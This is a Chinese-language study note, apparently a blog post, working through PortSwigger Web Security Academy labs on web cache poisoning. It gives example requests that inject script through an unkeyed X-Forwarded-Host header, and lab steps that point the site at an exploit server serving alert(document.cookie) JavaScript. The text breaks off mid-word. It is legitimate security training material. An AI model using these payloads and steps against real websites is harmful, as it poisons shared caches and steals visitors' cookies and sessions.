Web缓存中毒（web cache poisoning）学习笔记

笔者burpsuite的在线安全学院的web cache poisoning学习笔记。限于本人水平，笔记质量不是很高，假如有看到的大佬轻喷，很多地方是Google翻译的。
首先推荐篇翻译的文章，方便理解

#先知社区上师傅翻译的：实战Web缓存中毒
https://xz.aliyun.com/t/2585#toc-21
#原文
https://portswigger.net/blog/practical-web-cache-poisoning

一个burp拓展：param-miner，可以辅助检测，win下的burp要改下字典路径，可以把对应kali下的字典的复制出来，kali下这个指向的字典位置是个链接，注意需要源文件

https://github.com/PortSwigger/param-miner

使用Web缓存中毒进行XSS攻击

可能利用的最简单的Web缓存中毒漏洞是在没有适当清理的情况下将未键入的输入反映在可缓存的响应中。

例如，考虑以下请求和响应：

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: innocent-website.co.uk

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://innocent-website.co.uk/cms/social.png" />

此处，X-Forwarded-Host标头的值用于动态生成Open Graph图像URL，然后将其反映在响应中。对于Web缓存中毒，至关重要的是，X-Forwarded-Host标题通常是不加密的。在此示例中，缓存可能容易受到包含简单XSS有效负载的响应的污染：

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://a./"><script>alert(1)</script>"/cms/social.png" />

如果缓存了此响应，则将向该访问的所有用户/en?region=uk提供此XSS有效负载。此示例仅使警报显示在受害者的浏览器中，但是真正的攻击可能会窃取密码并劫持用户帐户。

使用Web缓存中毒来利用对资源导入的不安全处理

一些网站使用无密钥header动态生成用于导入资源的URL，例如外部托管的JavaScript文件。在这种情况下，如果攻击者将适当的header的值更改为他们控制的域，则他们可能会操纵生成的URL指向自己的恶意Js。
如果包含此恶意URL的响应被缓存，则攻击者的js将被导入并在其请求具有匹配的缓存密钥的任何用户的浏览器会话中执行。

LAB Web cache poisoning with an unkeyed header

1. 在运行Burp时，加载网站的主页
2. 在Burp中，转到“代理”>“ HTTP历史记录”，并研究您生成的请求和响应。查找对GET主页的请求，并将其发送到Burp Repeater。
3. 添加一个缓存无效化查询参数，例如?cb=1234。原：GET / HTTP/1.1 改：GET /?cb=1234 HTTP/1.1，发现有返回添加无效参数后
4. 添加X-Forwarded-Host具有任意主机名的header，例如example.com，然后发送请求，这里的话，burp提供了个服务器，可以编辑。
5. 请注意，X-Forwarded-Host标头已用于动态生成用于导入存储在的JavaScript文件的绝对URL /resources/js/tracking.js。
6. 重放请求，并观察到响应包含标头X-Cache: hit。这告诉我们响应来自cache。我在这里把exp server上的js payload设为alert("1")，再用浏览器再次访问url，弹个1。
7. 转到exp server并更改文件名以匹配的响应所使用的路径：/resources/js/tracking.js
8. 在正文中，输入payload alert(document.cookie)并存储。
9. GET在Burp Repeater中 打开对主页的请求，然后删除缓存破坏器。
10. 添加以下标头，记住输入自己的漏洞利用服务器ID：X-Forwarded-Host: your-exploit-server-id.web-security-academy.net
11. 发送payload。继续放请求，直到您在响应和X-Cache: hit header中看到漏洞利用服务器的URL 。
12. 要模拟受害者，请在浏览器中加载中毒的URL，并确保alert()已触发。请注意，您必须在缓存过期之前执行此测试。此实验中的缓存每30秒失效一次。
13. 如果lab仍然无法解决，则受害者在缓存中毒时不会访问该页面。保持每隔几秒钟发送一次请求以重新缓存缓存，直到受害者受到影响并且实验室得到解决。

使用Web缓存中毒来利用Cookie处理漏洞

Cookies通常用于在响应中动态生成内容。一个常见的示例可能是cookie，它指示用户的首选语言，然后将其用于加载页面的相应版本：

GET /blog/post.php?mobile=1 HTTP/1.1
Host: innocent-website.com
User-Agent: Mozilla/5.0 Firefox/57.0
Cookie: language=pl;
Connection: close

在此示例中，要求提供博客文章的波兰语版本。假设缓存键仅包含请求行和Host标头。这意味着有关使用哪种语言版本的信息仅包含在未键入的Cookie header中。如果对该请求的响应被缓存，那么所有尝试访问此博客文章的后续用户也将获得波兰语版本，无论他们实际选择哪种语言。
使用Web缓存中毒技术还可以利用缓存对Cookie的这种错误处理。但是实际上，与基于头的缓存中毒相比，此向量相对较少。当存在基于cookie的缓存中毒漏洞时，由于合法用户无意中毒了缓存，因此往往可以快速识别并解决它们。

LAB:Web cache poisoning with an unkeyed cookie

因为cache密钥中不包含cookie。用户大约每分钟访问一次主页。要解决此实验，请使用alert(1)在访客的浏览器中执行的响应来投毒cac